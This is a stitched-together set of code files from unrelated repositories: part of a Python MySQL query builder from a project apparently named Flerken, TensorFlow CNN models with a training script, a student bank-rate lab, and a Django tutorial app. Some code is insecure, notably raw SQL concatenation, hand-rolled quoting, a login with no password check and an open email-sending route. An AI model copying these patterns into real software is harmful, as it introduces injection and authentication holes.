array('between',1,8) | array('between',array('1','8')) if exp_type == "BETWEEN": string = ' BETWEEN ' else: string = ' NOT BETWEEN ' expQueryString += column + string + '%s AND %s' if isinstance(array[1], (list, tuple)): self.whereValueArray.append(array[1][0]) self.whereValueArray.append(array[1][1]) elif isinstance(array[1], str): explode_array = array[1].split(',') if len(explode_array) != 2: self.throw_exception('error param after [NOT]BETWEEN:' + array[1]) self.whereValueArray.append(explode_array[0].strip()) self.whereValueArray.append(explode_array[1].strip()) elif is_numeric(array[1]): if not is_numeric(array[2]): self.throw_exception('error param after [NOT]BETWEEN(two number expected)'); self.whereValueArray.append(array[1]) self.whereValueArray.append(array[2]) else: self.throw_exception('error param after [NOT]BETWEEN:' + array[1]) elif exp_type == "IN" or exp_type == "NOTIN" or exp_type == "NOT IN": # example:array('not in',array('a','b','c')) | array('not in','a,b,c') if exp_type == "IN": string = ' IN ' else: string = ' NOT IN ' if isinstance(array[1], (list, tuple)): length = len(array[1]) if length == 0: self.throw_exception('empty array detected in param after [NOT]IN:array()') expQueryString += column + string + '(' expQueryString += '%s' self.whereValueArray.append(array[1][0]) for i in range(1, length): expQueryString += ',%s' self.whereValueArray.append(array[1][i]) expQueryString += ')' elif isinstance(array[1], str): explode_array = array[1].split(',') length = len(explode_array) expQueryString += column + string + '(' expQueryString += '%s' self.whereValueArray.append(explode_array[0]) for i in range(1, length): expQueryString += ',%s' self.whereValueArray.append(explode_array[i]) expQueryString += ')' else: self.throw_exception('error param after [NOT]IN:' + array[1]) elif exp_type == "EXP": if isinstance(array[1], str): expQueryString += column + array[1] else: self.throw_exception('error param after exp:' + array[1]) else: self.throw_exception('error params:"' + array[0] + '"') return expQueryString def _parseMultiQuery(self, column, array): multiQueryString = '' start = column.find('.') specialChar_index = column.find('`') if specialChar_index == -1 and start == -1: column = '`' + column + '`' length = len(array) - 2 logic = ' AND ' if array[-2] != '': if array[-2].upper() in self.SQL_logic: logic = ' ' + array[-2].upper() + ' ' else: self.throw_exception('Logical Operators "' + array[-2] + '"is not supported in multiple condition query') for i in range(length): if isinstance(array[i], (list, tuple)): multiQueryString += logic + self._singleKey2Array(column, array[i]) else: multiQueryString += logic + column + ' = %s' self.whereValueArray.append(array[i]) multiQueryString = multiQueryString.lstrip(logic) multiQueryString = '( ' + multiQueryString + ' )' return multiQueryString def _addSpecialChar(self, value): value = value.strip() if value.find(' as ') != -1: value = re.sub('\s+', ' ', value) MatchObject = re.search('(?<=\s{1}as\s{1})\w+$', value, re.I) if MatchObject == None: self.throw_exception('"' + value + '"regex error, please try again') else: table_alias = MatchObject.group(0) value = re.sub('(?<=\s{1}as\s{1})\w+$', '`' + table_alias + '`', value, 0, re.I) table_name = re.search('^.*(?=\s{1}as\s{1}`)', value, re.I).group(0) if re.match('^\w+$', table_name): value = re.sub('^\w+(?=\s{1}as\s{1}`)', '`' + table_name + '`', value, 0, re.I) elif re.match('^\w+\.\w+$', value): pass else: if not re.search('\W+', value): value = '`' + value + '`' return value def _replaceSpecialChar(self, pattern, replacement, subject): for val in replacement: if isinstance(val, int): subject = re.sub(pattern, str(val), subject, 1) else: subject = re.sub(pattern, pdo_quote(val), subject, 1) return subject def _get_file_lastline(self, file_name, n=1): try: with open(file_name, 'rb') as f: f.seek(-1, 2) content = '' while n > 0: s = f.read(1).decode('ascii') if s == '\n' and content: n -= 1 if n == 0: break content = '' content = s + content f.seek(-2, 1) return content.strip() except BaseException as e: self.throw_exception(e) def _clearSubString(self): self.SQLerror = {} self.fieldString = '' self.joinString = '' self.whereString = '' self.groupString = '' self.havingString = '' self.orderString = '' self.limitString = '' self.aliasString = '' self.tmp_table = '' self.fetchSql = False self.whereStringArray = [] self.whereValueArray = [] def haveErrorThrowException(self, err): if self.dbdebug: self.SQLerror = { 'errno': err.errno, 'sqlstate': err.sqlstate, 'msg': err.msg, 'sql': self.queryStr } return False def showError(self): if self.dbdebug: if 'errno' in self.SQLerror: print('Error Code: ' + str(self.SQLerror['errno'])) print('SQLSTATE: ' + self.SQLerror['sqlstate']) print('Error Message: ' + self.SQLerror['msg']) print('Error SQL: ' + self.SQLerror['sql']) else: print("no error deteced in the most recent SQL query") else: print("set DEBUG to True to show the complete error message") def getNumRows(self): return self.numRows def close(self): if self.connected: # self.cur.close() self.con.close() def __del__(self): self.close() def throw_exception(self, errMsg, ignore_debug=False): if self.dbdebug or ignore_debug: print('Error: ' + errMsg + '\n\n' + 'stack: \n') length = len(traceback.format_stack()) for i in range(length - 1): print(traceback.format_stack()[i]) else: errMsg = "unknow error" print(errMsg) sys.exit(0) def isset(variable): return variable in locals() or variable in globals() def is_numeric(var): try: float(var) return True except ValueError: return False # PDO::quote def pdo_quote(string): return "'" + re.sub(r'(?<=[^\\])([\'\"\%\_\\])', r'\\\1', str(string)) + "'" #M function def M(dbtable, ConfigID=0, dbConfig=None): return pythonMySQL(dbtable, ConfigID, dbConfig) --- FILE SEPARATOR --- #!/usr/bin/python # -*-coding:utf-8-*- """ The Entry of Flerken App """ __author__ = 'Yao Zhang & Zhiyang Zeng' __copyright__ = "Copyright 2019, Apache License 2.0" from flerken import app from flerken.config.global_config import APP_CONFIG app.run(host=APP_CONFIG['HOST'],port=APP_CONFIG['PORT'])
[ "/coverage/coverage_test.py", "/flerken/__init__.py", "/flerken/config/global_config.py", "/flerken/control/plugins/custom_meta_chars_plugin.py", "/flerken/control/plugins/linux_generic_detect_plugin.py", "/flerken/control/plugins/linux_generic_filter_plugin.py", "/flerken/control/plugins/linux_graphic_detect_plugin.py", "/flerken/control/plugins/linux_special_detect_plugin.py", "/flerken/control/plugins/win_generic_detect_plugin.py", "/flerken/control/plugins/win_special_detect_plugin.py", "/flerken/control/plugins/win_special_filter_plugin.py", "/flerken/control/smart_detect.py", "/flerken/detection.py", "/flerken/landing.py", "/flerken/lib/mysql_conn.py", "/runApp.py" ]
03pie/TF2_stduy
#!/usr/bin/python3.7 # -*- coding: utf-8 -*- # Copyright (C) 2021 03pie, Inc. All Rights Reserved # # @Time : 2021/5/8 14:34 # @Author : 03pie # @Email : 1139004179@qq.com # @File : cnn_Model.py # @Software: PyCharm # @Description : import tensorflow as tf from tensorflow.keras.models import Model from tensorflow.keras.layers import Dense,Flatten,MaxPool2D,GlobalAvgPool2D,Conv2D,BatchNormalization,Activation,Dropout # BaseL_Model class Base_Model(Model): def __init__(self): super(Base_Model, self).__init__() self.c1 = Conv2D(filters=6, kernel_size=(5, 5), padding='same') self.b1 = BatchNormalization() self.a1 = Activation('relu') self.p1 = MaxPool2D(pool_size=(2, 2), strides=2, padding='same') self.d1 = Dropout(0.2) self.flatten = Flatten() self.f1 = Dense(128, activation='relu') self.d2 = Dropout(0.2) self.f2 = Dense(10, activation='softmax') def call(self, inputs, training=None, mask=None): inputs = self.c1(inputs) inputs = self.b1(inputs) inputs = self.a1(inputs) inputs = self.p1(inputs) inputs = self.d1(inputs) inputs = self.flatten(inputs) inputs = self.f1(inputs) inputs = self.d2(inputs) outputs = self.f2(inputs) return outputs # LeNet class LeNet(Model): def __init__(self): super(LeNet, self).__init__() self.c1 = Conv2D(filters=6, kernel_size=(5, 5), strides=1, padding='valid') # self.b1 = BatchNormalization() self.a1 = Activation('sigmoid') self.p1 = MaxPool2D(pool_size=(2, 2), strides=2, padding='valid') # self.d1 = Dropout(0.0) self.c2 = Conv2D(filters=16, kernel_size=(5, 5), strides=1, padding='valid') # self.b2 = BatchNormalization() self.a2 = Activation('sigmoid') self.p2 = MaxPool2D(pool_size=(2, 2), strides=2, padding='valid') # self.d2 = Dropout() self.flatten = Flatten() self.d31 = Dense(120, activation='sigmoid') self.d32 = Dense(84, activation='sigmoid') self.d33 = Dense(10, activation='softmax') def call(self, inputs, training=None, mask=None): inputs = self.c1(inputs) inputs = self.a1(inputs) inputs = self.p1(inputs) inputs = self.c2(inputs) inputs = self.a2(inputs) inputs = self.p2(inputs) inputs = self.flatten(inputs) inputs = self.d31(inputs) inputs = self.d32(inputs) outputs = self.d33(inputs) return outputs # AlexNet class AlexNet(Model): def __init__(self): super(AlexNet, self).__init__() self.c1 = Conv2D(filters=96, kernel_size=(3, 3), strides=1, padding='valid') self.b1 = BatchNormalization() self.a1 = Activation('relu') self.p1 = MaxPool2D(pool_size=(3, 3), strides=2, padding='valid') self.c2 = Conv2D(filters=256, kernel_size=(3, 3), strides=1, padding='valid') self.b2 = BatchNormalization() self.a2 = Activation('relu') self.p2 = MaxPool2D(pool_size=(3, 3), strides=2, padding='valid') self.c3 = Conv2D(filters=384, kernel_size=(3, 3), padding='same', activation='relu') self.c4 = Conv2D(filters=384, kernel_size=(3, 3), padding='same', activation='relu') self.c5 = Conv2D(filters=256, kernel_size=(3, 3), padding='same', activation='relu') self.p5 = MaxPool2D(pool_size=(3, 3), strides=2, padding='valid') self.flatten = Flatten() self.f61 = Dense(2048, activation='relu') self.d61 = Dropout(0.5) self.f62 = Dense(2048, activation='relu') self.d62 = Dropout(0.5) self.f63 = Dense(10, activation='softmax') def call(self, inputs, training=None, mask=None): inputs = self.c1(inputs) inputs = self.b1(inputs) inputs = self.a1(inputs) inputs = self.p1(inputs) inputs = self.c2(inputs) inputs = self.b2(inputs) inputs = self.a2(inputs) inputs = self.p2(inputs) inputs = self.c3(inputs) inputs = self.c4(inputs) inputs = self.c5(inputs) inputs = self.p5(inputs) inputs = self.flatten(inputs) inputs = self.f61(inputs) inputs = self.d61(inputs) inputs = self.f62(inputs) inputs = self.d62(inputs) outputs = self.f63(inputs) return outputs # VGG16Net class VGG16(Model): def __init__(self): super(VGG16, self).__init__() self.c1 = Conv2D(filters=64, kernel_size=(3, 3), strides=1, padding='same') self.b1 = BatchNormalization() self.a1 = Activation('relu') self.c2 = Conv2D(filters=64, kernel_size=(3, 3), strides=1, padding='same') self.b2 = BatchNormalization() self.a2 = Activation('relu') self.p2 = MaxPool2D(pool_size=(2, 2), strides=2, padding='same') self.d2 = Dropout(0.2) self.c3 = Conv2D(filters=128, kernel_size=(3, 3), padding='same') self.b3 = BatchNormalization() self.a3 = Activation('relu') self.c4 = Conv2D(filters=128, kernel_size=(3, 3), strides=1, padding='same') self.b4 = BatchNormalization() self.a4 = Activation('relu') self.p4 = MaxPool2D(pool_size=(2, 2), strides=2, padding='same') self.d4 = Dropout(0.2) self.c5 = Conv2D(filters=256, kernel_size=(3, 3), padding='same') self.b5 = BatchNormalization() self.a5 = Activation('relu') self.c6 = Conv2D(filters=256, kernel_size=(3, 3), padding='same') self.b6 = BatchNormalization() self.a6 = Activation('relu') self.c7 = Conv2D(filters=256, kernel_size=(3, 3), strides=1, padding='same') self.b7 = BatchNormalization() self.a7 = Activation('relu') self.p7 = MaxPool2D(pool_size=(2, 2), strides=2, padding='same') self.d7 = Dropout(0.2) self.c8 = Conv2D(filters=512, kernel_size=(3, 3), padding='same') self.b8 = BatchNormalization() self.a8 = Activation('relu') self.c9 = Conv2D(filters=512, kernel_size=(3, 3), padding='same') self.b9 = BatchNormalization() self.a9 = Activation('relu') self.c10 = Conv2D(filters=512, kernel_size=(3, 3), strides=1, padding='same') self.b10 = BatchNormalization() self.a10 = Activation('relu') self.p10 = MaxPool2D(pool_size=(2, 2), strides=2, padding='same') self.d10 = Dropout(0.2) self.c11 = Conv2D(filters=512, kernel_size=(3, 3), padding='same') self.b11 = BatchNormalization() self.a11 = Activation('relu') self.c12 = Conv2D(filters=512, kernel_size=(3, 3), padding='same') self.b12 = BatchNormalization() self.a12 = Activation('relu') self.c13 = Conv2D(filters=512, kernel_size=(3, 3), strides=1, padding='same') self.b13 = BatchNormalization() self.a13 = Activation('relu') self.p13 = MaxPool2D(pool_size=(2, 2), strides=2, padding='same') self.d13 = Dropout(0.2) self.flatten = Flatten() self.f14 = Dense(512, activation='relu') self.d14 = Dropout(0.2) self.f15 = Dense(512, activation='relu') self.d15 = Dropout(0.2) self.f16 = Dense(10, activation='softmax') def call(self, inputs, training=None, mask=None): inputs = self.c1(inputs) inputs = self.b1(inputs) inputs = self.a1(inputs) inputs = self.c2(inputs) inputs = self.b2(inputs) inputs = self.a2(inputs) inputs = self.p2(inputs) inputs = self.d2(inputs) inputs = self.c3(inputs) inputs = self.b3(inputs) inputs = self.a3(inputs) inputs = self.c4(inputs) inputs = self.b4(inputs) inputs = self.a4(inputs) inputs = self.p4(inputs) inputs = self.d4(inputs) inputs = self.c5(inputs) inputs = self.b5(inputs) inputs = self.a5(inputs) inputs = self.c6(inputs) inputs = self.b6(inputs) inputs = self.a6(inputs) inputs = self.c7(inputs) inputs = self.b7(inputs) inputs = self.a7(inputs) inputs = self.p7(inputs) inputs = self.d7(inputs) inputs = self.c8(inputs) inputs = self.b8(inputs) inputs = self.a8(inputs) inputs = self.c9(inputs) inputs = self.b9(inputs) inputs = self.a9(inputs) inputs = self.c10(inputs) inputs = self.b10(inputs) inputs = self.a10(inputs) inputs = self.p10(inputs) inputs = self.d10(inputs) inputs = self.c11(inputs) inputs = self.b11(inputs) inputs = self.a11(inputs) inputs = self.c12(inputs) inputs = self.b12(inputs) inputs = self.a12(inputs) inputs = self.c13(inputs) inputs = self.b13(inputs) inputs = self.a13(inputs) inputs = self.p13(inputs) inputs = self.d13(inputs) inputs = self.flatten(inputs) inputs = self.f14(inputs) inputs = self.d14(inputs) inputs = self.f15(inputs) inputs = self.d15(inputs) outputs = self.f16(inputs) return outputs # Inception class ConvBNRelu(Model): def __init__(self, filters, kernel_size=3, strides=1, padding='same'): super(ConvBNRelu, self).__init__() self.model = tf.keras.models.Sequential([ Conv2D(filters=filters, kernel_size=kernel_size, strides=strides, padding=padding), BatchNormalization(), Activation('relu')]) def call(self, inputs, training=None, mask=None): outputs = self.model(inputs, training=False) return outputs class InceptionBLK(Model): def __init__(self, filters, strides=1): super(InceptionBLK, self).__init__() self.filters = filters self.strides = strides self.c1 = ConvBNRelu(filters, kernel_size=1, strides=strides) self.c2_1 = ConvBNRelu(filters, kernel_size=1, strides=strides) self.c2_2 = ConvBNRelu(filters, kernel_size=3, strides=1) self.c3_1 = ConvBNRelu(filters, kernel_size=1, strides=strides) self.c3_2 = ConvBNRelu(filters, kernel_size=5, strides=1) self.c4_1 = MaxPool2D(pool_size=(3, 3), strides=1, padding='same') self.c4_2 = ConvBNRelu(filters, kernel_size=1, strides=strides) def call(self, inputs, training=None, mask=None): outputs_x1 = self.c1(inputs) outputs_x2_1 = self.c2_1(inputs) outputs_x2_2 = self.c2_2(outputs_x2_1) outputs_x3_1 = self.c3_1(inputs) outputs_x3_2 = self.c3_2(outputs_x3_1) outputs_x4_1 = self.c4_1(inputs) outputs_x4_2 = self.c4_2(outputs_x4_1) outputs = tf.concat([outputs_x1, outputs_x2_2, outputs_x3_2, outputs_x4_2], axis=3) return outputs class Inception10(Model): def __init__(self, num_blocks=2, num_classes=10, init_filters=16, **kwargs): super(Inception10, self).__init__(**kwargs) self.in_channels = init_filters self.out_channels = init_filters self.num_blocks = num_blocks self.init_filters = init_filters self.c1 = ConvBNRelu(init_filters) self.blocks = tf.keras.models.Sequential() for block_id in range(num_blocks): for layer_id in range(2): if layer_id == 0: block = InceptionBLK(self.out_channels, strides=2) else: block = InceptionBLK(self.out_channels, strides=1) self.blocks.add(block) self.out_channels *= 2 self.p1 = GlobalAvgPool2D() self.f1 = Dense(num_classes, activation='softmax') def call(self, inputs, training=None, mask=None): inputs = self.c1(inputs) inputs = self.blocks(inputs) inputs = self.p1(inputs) outputs = self.f1(inputs) return outputs # ResNet18 class ResnetBlock(Model): def __init__(self, filters, strides=1, residual_path=False): super(ResnetBlock, self).__init__() self.filters = filters self.strides = strides self.residual_path = residual_path self.c1 = Conv2D(filters, (3, 3), strides=strides, padding='same', use_bias=False) self.b1 = BatchNormalization() self.a1 = Activation('relu') self.c2 = Conv2D(filters, (3, 3), strides=1, padding='same', use_bias=False) self.b2 = BatchNormalization() # residual_path为True时,对输入进行下采样,即用1x1的卷积核做卷积操作,保证x能和F(x)维度相同,顺利相加 if residual_path: self.down_c1 = Conv2D(filters, (1, 1), strides=strides, padding='same', use_bias=False) self.down_b1 = BatchNormalization() self.a2 = Activation('relu') def call(self, inputs): residual = inputs # residual等于输入值本身,即residual=x # 将输入通过卷积、BN层、激活层,计算F(x) x = self.c1(inputs) x = self.b1(x) x = self.a1(x) x = self.c2(x) y = self.b2(x) if self.residual_path: residual = self.down_c1(inputs) residual = self.down_b1(residual) out = self.a2(y + residual) # 最后输出的是两部分的和,即F(x)+x或F(x)+Wx,再过激活函数 return out class ResNet18(Model): def __init__(self, block_list=[2, 2, 2, 2], initial_filters=64): # block_list表示每个block有几个卷积层 super(ResNet18, self).__init__() self.num_blocks = len(block_list) # 共有几个block self.block_list = block_list self.out_filters = initial_filters self.c1 = Conv2D(self.out_filters, (3, 3), strides=1, padding='same', use_bias=False) self.b1 = BatchNormalization() self.a1 = Activation('relu') self.blocks = tf.keras.models.Sequential() # 构建ResNet网络结构 for block_id in range(len(block_list)): # 第几个resnet block for layer_id in range(block_list[block_id]): # 第几个卷积层 if block_id != 0 and layer_id == 0: # 对除第一个block以外的每个block的输入进行下采样 block = ResnetBlock(self.out_filters, strides=2, residual_path=True) else: block = ResnetBlock(self.out_filters, residual_path=False) self.blocks.add(block) # 将构建好的block加入resnet self.out_filters *= 2 # 下一个block的卷积核数是上一个block的2倍 self.p1 = tf.keras.layers.GlobalAveragePooling2D() self.f1 = tf.keras.layers.Dense(10, activation='softmax', kernel_regularizer=tf.keras.regularizers.l2()) def call(self, inputs): x = self.c1(inputs) x = self.b1(x) x = self.a1(x) x = self.blocks(x) x = self.p1(x) y = self.f1(x) return y --- FILE SEPARATOR --- #!/usr/bin/python3.7 # -*- coding: utf-8 -*- # Copyright (C) 2021 03pie, Inc. All Rights Reserved # # @Time : 2021/5/8 14:22 # @Author : 03pie # @Email : 1139004179@qq.com # @File : 1_6.py # @Software: PyCharm # @Description : import os import tensorflow as tf import cnn_Model import matplotlib.pyplot as plt # 设置初始化 model_ = 'ResNet18' lr = 0.001 epochs = 20 batch_size = 32 # model = cnn_Model.Base_Model() # model = cnn_Model.LeNet() # model = cnn_Model.AlexNet() # model = cnn_Model.VGG16() # model = cnn_Model.Inception10() model = cnn_Model.ResNet18() #------------------------------------------------------------------------------------------------------------------------------------ # 路径设置 root_path = './' plt_name = root_path + 'loss/' + model_ + '.png' checkpoint_path = root_path + 'checkpoint/' + model_ + '/' ckpt = model_ + '.ckpt' # 准备训练集和验证集 cifar10 = tf.keras.datasets.cifar10 (x_train, y_train), (x_test, y_test) = cifar10.load_data() x_train, x_test = x_train / 255.0, x_test / 255.0 # 模型编译 model.compile( optimizer=tf.keras.optimizers.Adam(learning_rate=lr), loss=tf.keras.losses.SparseCategoricalCrossentropy(from_logits=False), metrics=['sparse_categorical_accuracy']) # 模型读取 checkpoint_save_path = root_path + checkpoint_path + ckpt if os.path.exists(checkpoint_save_path + '.index'): print('---------------------load the model------------------------') model.load_weights(checkpoint_save_path) cp_callback = tf.keras.callbacks.ModelCheckpoint( filepath=checkpoint_save_path, save_best_only=True, save_weights_only=True) # 模型训练 history = model.fit( x_train, y_train, batch_size=batch_size, epochs=epochs, validation_data=(x_test, y_test), validation_freq=1, callbacks=[cp_callback]) # 模型信息打印 model.summary() # acc,log绘制 print('All epochs has trained, log is plotting...') train_acc = history.history['sparse_categorical_accuracy'] val_acc = history.history['val_sparse_categorical_accuracy'] train_loss = history.history['loss'] val_loss = history.history['val_loss'] plt.figure() plt.subplot(1, 2, 1) plt.title('acc') plt.plot(train_acc, label='Train_acc') plt.plot(val_acc, label='Val_acc') plt.legend() plt.subplot(1, 2, 2) plt.title('loss') plt.plot(train_loss, label='Train_loss') plt.plot(val_loss, label='Val_loss') plt.legend() plt.savefig(plt_name)
[ "/cnn_Model.py", "/train.py" ]
044cretorr1/lab1
def get_bank(): """отримує данні по банкам Returns: bank_list : список банків """ from_file = [ "110;ІНКО", "120;АЖІО", "130;Градобанк", "140;Відродження", "150;Укрінбанк", ] # накопичувач рядків bank_list = [] for line in from_file: line_list = line.split(';') bank_list.append(line_list) return bank_list def get_kyrs(): """отримує данні по банкам Returns: bank_list : список банків """ from_file = [ "110;4,5;5,4;6,3;3,4;3,45;4;2003", "120;4;5;7,5;2,7;3,4;4,78;2003", "130;3,9;5,1;8;2,74;3,32;5,3;2003", "140;4,2;5;7;2,459;3,252;4,8;2003", "150;4,5;5,1;7,7;3,169;3,312;4,8;2003", "110;6,5;6,8;7;4,5;4,7;4,8;2004", "120;7,9;8;8,1;5,1;5,2;5,3;2004", "130;8,25;8,33;8,5;5,3;5,34;5,38;2004", "140;8,27;8,3;8,52;5,28;5,3;5,35;2004", "150;8,3;8,31;8,5;5,28;5,3;5,35;2004", "110;8,1;8,4;9;5,1;5,11;5,2;2005", "120;8,2;8,35;8,55;5,4;5,48;5,5;2005", "130;8,7;8,78;8,82;5,45;5,5;5,55;2005", "140;8,68;8,8;8,85;5,46;5,5;5,55;2005", "150;8,65;8,8;8,84;5,46;5,52;5,56;2005", ] # накопичувач рядків bank_list = [] for line in from_file: line_list = line.split(';') bank_list.append(line_list) return bank_list def show_bank(bank): bank_code_from = input("З якого кода банк?") bank_code_to = input("По який код банк?") for bank in bank: if bank_code_from <= bank[0] <= bank_code_to: print("код: {:5} назва {:10}".format(bank[0], bank[1])) bank = get_bank() show_bank(bank) def show_kyrs(kyrs): """виводить список банків зв заданої умови Args: bank : список банків """ kyrs_code_from = input("з якого кода банк?") kyrs_code_to = input("по який код банк?") for kyrs in kyrs: if kyrs_code_from <= kyrs[0] <= kyrs_code_to: print("код: {:5} Січень/Лютий = {:10} Березень/Квітень = {:10} Травень/червень = {:10} Липень/Серпень = {:10} Вересень/Жовтень = {:10} Листопад/Грудень = {:5} рік - {:6} ".format(kyrs[0], kyrs[1], kyrs[2], kyrs[3], kyrs[4], kyrs[5], kyrs[6], kyrs[7])) kyrs = get_kyrs() show_kyrs(kyrs) --- FILE SEPARATOR --- """головний модуль додатку виводить розрахункову талицю, зберігає результати в файл показу на екрані первинні дані """ from os import system from process_data import create_zajavka_list from data_service import show_banks, show_kyrs, get_banks, get_kyrs MAIN_MENU = \ """ ~~~~~~~~~~~~ ОБРОБКА ЗАЯВОК НА УСТАТКУВАННЯ ~~~~~~~~~~~ 1 - вивід заявок на екран 2 - запис заявок в файл 3 - вивід списка накладних 4 - вивід списка клієнтів 0 - завершення роботи --------------------------- """ STOP_MESSAGE = 'Для продовження нажмить <Enter>' TITLE = "ЗАЯВКА НА ПРОДАЖ УСТАТКУВАННЯ" HEADER = \ """ ===================================================================================== Устаткування | Клієнт | Номер заказа | Кількість | Ціна | Сума ===================================================================================== """ FOOTER = \ """ ===================================================================================== """ def show_table_on_screen(zajavka_list): """вивід таблиці заявок на екран Args: zajavka_list ([type]): список заявок """ print(f"\n{TITLE:^86}") print(HEADER) for zajavka in zajavka_list: print(f"{zajavka['oborud_name']:20}", \ f"{zajavka['client_name']:20}", \ f"{zajavka['order_number']:^10}", \ f"{zajavka['kol']:>10}", \ f"{zajavka['price']:>10.2f}", \ f"{zajavka['total']:>10.2f}" ) print(FOOTER) def write_zajavka(zajavka_list): """записує масив заявок в файл Args: zajavka_list ([type]): список заявок """ --- FILE SEPARATOR --- """ формування заявок на устаткування по магазину """ from data_service import get_bank, get_kyrs # структура рядка вихідних даних zajavka = { 'bank_code' : 0, # kod banky 'bank_name' : '', # nazva banky 'year' : 0, # rik kyrsy 'dollars' : 0.00, # dolary 'marks' : 0.00, # marky } banks = get_bank() kyrss = get_kyrs() # накопичувач заявок zajavka_list = [] def create_zajavka_list(): """[summary] """ def get_bank_name(bank_code): """повертає назву bank по його коду Args: bank_code ([type]): код bank Returns: [type]: назва bank """ for bank in banks: if bank_code == bank[0]: return bank[1] return "*** назва не знайдена" # накопичувач заявок zajavka_list = [] for kyrs in kyrss: # створити робочу копію zajavka_work = zajavka.copy() zajavka_work['year'] = kyrs[7] zajavka_work['dollars'] = kyrs[1],kyrs[2],kyrs[3] zajavka_work['marks'] = kyrs[4], kyrs[5], kyrs[6] zajavka_work['bank_code'] = kyrs[0] zajavka_list.append(zajavka_work) return zajavka_list z = create_zajavka_list() for i in z: print(i)
[ "/data_service.py", "/main.py", "/process_data.py" ]
051mym/django_heroku_example
from django import forms from myapp.models import Dreamreal class LoginForm(forms.Form): username = forms.CharField(max_length = 100,widget=forms.TextInput(attrs={'placeholder': 'Username'})) password = forms.CharField(widget = forms.PasswordInput()) class ProfileForm(forms.Form): name = forms.CharField(max_length = 100) picture = forms.ImageField() --- FILE SEPARATOR --- # Generated by Django 3.1.6 on 2021-02-07 07:48 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('myapp', '0002_auto_20210207_1420'), ] operations = [ migrations.RemoveField( model_name='dreamreal', name='online', ), ] --- FILE SEPARATOR --- from django.db import models # Create your models here. class Online(models.Model): domain = models.CharField(max_length = 30) class Meta: db_table = "online" class Dreamreal(models.Model): website = models.CharField(max_length = 50) mail = models.CharField(max_length = 50) name = models.CharField(max_length = 50) phonenumber = models.IntegerField() online = models.ForeignKey(Online,on_delete=models.CASCADE,null=True) class Meta: db_table = "dreamreal" class Profile(models.Model): name = models.CharField(max_length = 50) picture = models.ImageField(upload_to = 'pictures') class Meta: db_table = "profile" --- FILE SEPARATOR --- from django.urls import path, re_path from myapp import views as myapp_views # from myapp.views import StaticView from django.views.generic import * from myapp.models import * urlpatterns = [ path('', myapp_views.welcome, name='welcome'), # re_path('viewArticle/(\d+)/', myapp_views.viewArticle, name='viewArticle'), path('viewArticleId/<articleId>/', myapp_views.viewArticleId, name='articleId'), path('viewArticle/<int:year>/<int:month>', myapp_views.viewArticle, name='article'), path('crudops/', myapp_views.crudops, name='crud'), path('datamanipulation/', myapp_views.datamanipulation, name='datamanipulation'), path('sendSimpleEmail/<str:emailto>', myapp_views.sendSimpleEmail, name='sendSimpleEmail'), # path('static/', StaticView.as_view(template_name = 'static.html'), name='static'), path('static/', TemplateView.as_view(template_name = 'static.html'), name='static'), path('dreamreals/', ListView.as_view(model = Dreamreal, template_name = "list.html"), name='dream'), path('connect/', TemplateView.as_view(template_name = 'login.html'), name='conect'), path('login/', myapp_views.login, name='login'), path('profile/', TemplateView.as_view(template_name = 'profile.html'), name='profile'), path('saved/', myapp_views.SaveProfile, name='saved'), path('profileData/', ListView.as_view(model = Profile, template_name = "list.html"), name='dream'), ] --- FILE SEPARATOR --- from django.shortcuts import render, redirect from django.http import HttpResponse import datetime from myapp.models import * from django.core.mail import send_mail from django.conf import settings # from django.views.generic import TemplateView from myapp.forms import * # Create your views here. def welcome(request): return render(request, "base.html") # today = datetime.datetime.now().date() # daysOfWeek = ['Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun'] # return render(request, "hello.html",{ # "today":today, # "daysOfWeek":daysOfWeek, # }) def viewArticleId(request, articleId): text = "<h1>Display article ID : %s</h1>" %articleId # return HttpResponse(text) return redirect(viewArticle, year = "2045", month = "02") def viewArticle(request, year, month): text = "<h1>Display article year %s month %s</h1>" %(year,month) return HttpResponse(text) def crudops(request): # add entry dreamreal = Dreamreal( website = "www.polo.com", mail = "sorex@polo.com", name = "sorex", phonenumber = "002376970" ) dreamreal.save() # get ALL entries objects = Dreamreal.objects.all() res ='Printing all Dreamreal entries in the DB : <br>' for elt in objects: res += elt.name+"<br>" #Read a specific entry: sorex = Dreamreal.objects.get(name = "sorex") res += 'Printing One entry <br>' res += sorex.name #Delete an entry res += '<br> Deleting an entry <br>' sorex.delete() #Update dreamreal = Dreamreal( website = "www.polo.com", mail = "sorex@polo.com", name = "sorex", phonenumber = "002376970" ) dreamreal.save() res += 'Updating entry<br>' dreamreal = Dreamreal.objects.get(name = 'sorex') dreamreal.name = 'thierry' dreamreal.save() return HttpResponse(res) def datamanipulation(request): res = '' #Filtering data: qs = Dreamreal.objects.filter(name = "paul") res += "Found : %s results<br>"%len(qs) #Ordering results qs = Dreamreal.objects.order_by("name") for elt in qs: res += elt.name + '<br>' return HttpResponse(res) def sendSimpleEmail(request,emailto): # subject = 'Myapp email' # contact_message = "Ini isinya" # from_email = settings.EMAIL_HOST_USER # to_email = [emailto,] # res = send_mail(subject, contact_message, from_email, to_email, fail_silently=False) res = send_mail("hello paul", "comment tu vas?", "paul@polo.com", [emailto]) return HttpResponse('%s'%res) # def static(request): # return render(request, 'static.html', {}) # class StaticView(TemplateView): # template_name = "static.html" def login(request): username = "not logged in" if request.method == "POST": #Get the posted form MyLoginForm = LoginForm(request.POST) if MyLoginForm.is_valid(): username = MyLoginForm.cleaned_data['username'] # if request.session.has_key('username'): # del request.session['username'] request.session['username'] = username return render(request, 'loggedin.html', {"username" : username}) else: form = LoginForm() return render(request, 'login.html', {"form" : form}) else: MyLoginForm = LoginForm() return render(request, 'login.html', {"form" : MyLoginForm}) # def login(request): # username = "not logged in" # if request.method == "POST": # #Get the posted form # MyLoginForm = LoginForm(request.POST) # if MyLoginForm.is_valid(): # username = MyLoginForm.cleaned_data['username'] # else: # MyLoginForm = LoginForm() # response = render_to_response(request, 'loggedin.html', {"username" : username}, # context_instance = RequestContext(request)) # response.set_cookie('last_connection', datetime.datetime.now()) # response.set_cookie('username', datetime.datetime.now()) # return response def SaveProfile(request): saved = False if request.method == "POST": #Get the posted form MyProfileForm = ProfileForm(request.POST, request.FILES) if MyProfileForm.is_valid(): profile = Profile() profile.name = MyProfileForm.cleaned_data["name"] profile.picture = MyProfileForm.cleaned_data["picture"] profile.save() saved = True else: MyProfileForm = Profileorm() return render(request, 'saved.html', locals())
[ "/myapp/forms.py", "/myapp/migrations/0003_remove_dreamreal_online.py", "/myapp/models.py", "/myapp/urls.py", "/myapp/views.py" ]
